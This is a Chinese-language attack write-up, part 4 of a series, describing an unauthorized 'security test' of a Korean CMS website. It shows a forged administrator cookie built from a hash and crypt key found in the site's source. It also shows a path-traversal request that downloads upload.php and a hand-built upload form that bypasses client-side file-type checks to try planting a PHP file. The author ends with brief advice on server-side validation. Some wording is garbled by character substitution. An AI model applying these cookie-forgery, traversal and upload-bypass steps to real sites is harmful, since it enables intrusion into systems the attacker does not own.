对韩国某CMS的一次平安检测(4) 电脑资料
先看看可否使用UPDATE更新员密码,先看一下源代码:33333333333333333333
if ($MBID == 'ROOT' && $MBPW != '')
{
include '../conf/mkpass.php';
$cryptkey = "ml5300a";
$INPUTPASS = crypt($MBPW,$cryptkey);
if ($INPUTPASS == $ROOTPASS)
{
setcookie("MyLootPass" , $ROOTPASS , 0 , "/");
getTargetLink("../index.php","","");
} else { echo""; }
}
这个不是可以cookie欺骗吗?于是翻开桂林老兵的mybrowse,翻开网站后,点击自定义cookie,把cookie修改为:
MyLootPass=mldzOtDVllwqw;PHPSESSID=ae92f7f6cd637f942071b67b8f4881ad,然后刷新一下页面,显示已(看左上角),如图18所示,
这个是前台管理员,在前台管理中,有发公告的地方,并可以上传文件,如图19所示。
后台对文件类型做了一些限制,当我选择php文件时,却弹出一个对话框,如图20所示。
在没有提交上传的时候,就跳出来对话框,说明肯定本地使用Javascript做了验证,所以可以自己构造一个上传表单来突破,于是先下载上传处理文件upload.php文件。构造其地址:
.b****k./ez/bbs.php?table=sub1&action=down&where=dat&dtype=up&uid=133&file=
.
./../../../bbs/lib/module/upload/upload.php,下载到本地后翻开该文件查看其源代码:4444444444444444444
if ($action == "upload")
{
if(isuploadedfile($POSTFILES[upFile][tmpname]))
{
$upFileExt = explode('.' , $POSTFILES[upFile][name]);
if (strstr("html,php3,inc,asp,jsp" , $upFileExt[sizeof($upFileExt)-1]))
{
echo "";
exit;
}
$filesize = $POSTFILES[upFile][size];
……(略去无关代码)
if (isfile("../../../table/$table/upload/".$POSTFILES[upFile][name])) {
$upname = date("His")."".$POSTFILES[upFile][name];
moveuploadedfile($POSTFILES[upFile][tmpname],
"../../../table/$table/upload/".$upname);
}
else {
$upname = $POSTFILES[upFile][name];
moveuploadedfile($POSTFILES[upFile][tmpname],
"../../../table/$table/upload/".$upname);
}
}
好象可以上传PHP文件的,先构建一个上传表单,代码如下:
".b****k./ez/bbs/
lib/module/upload/upload.php" target='TmpUpIframe' >
(INPUT type=hidden value=upload name=action)
(INPUT type=hidden value=sub1 name=table)
(INPUT type=hidden value=200 name=MaxUpSize)
(INPUT type=file name=upFile)
(INPUT type=submit value=提交 name=SubmitBtn)
用时将( ) 改为< >
另存为upload.htm,再次选择一个php文件上传试试,发现并不能上传,如图21所示,
于是上传一个gif.phP文件(linux效劳器是区分大小写的)。上传成功后,用IE浏览器浏览(不要用Firefox,不然图片也会变成下载).b****k./ez/bbs/table/sub1/upload/gif.phP
再看一看strstr函数的解释。
语法: string strstr(string haystack, string needle);
本函数将 needle 最先出现在 haystack 处起至 haystack 完毕的字符串返回。假设不到 needle 那么返回 false。
原来只要文件名后缀包含php3、php、ph、p等类型都不行。没折了,不搞了。
谁知道有什么方法突破,请告知我。
说明:验证个人认为,使用session验证比cookie平安些;还有就是对上传文件格式的验证,
一定要在效劳器端进展,在客户端验证的话,随便自己在本地构建一个表单就可以轻轻松松绕过了。
通过本次对韩国某CMS系统网站进展检测,用到了LiveHeaders、RefControl插件,通过这些插件来辅助进展平安检查,其 效果还是非常明显的,在本次检测中成功进展突破防盗链、进展了cookie欺骗,对php类型的网站平安检查应该是多了一些实际经历。欢迎跟我进展技术探 讨,我在antian365.论坛中的id是N3tl04D。 php文件下载源码
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论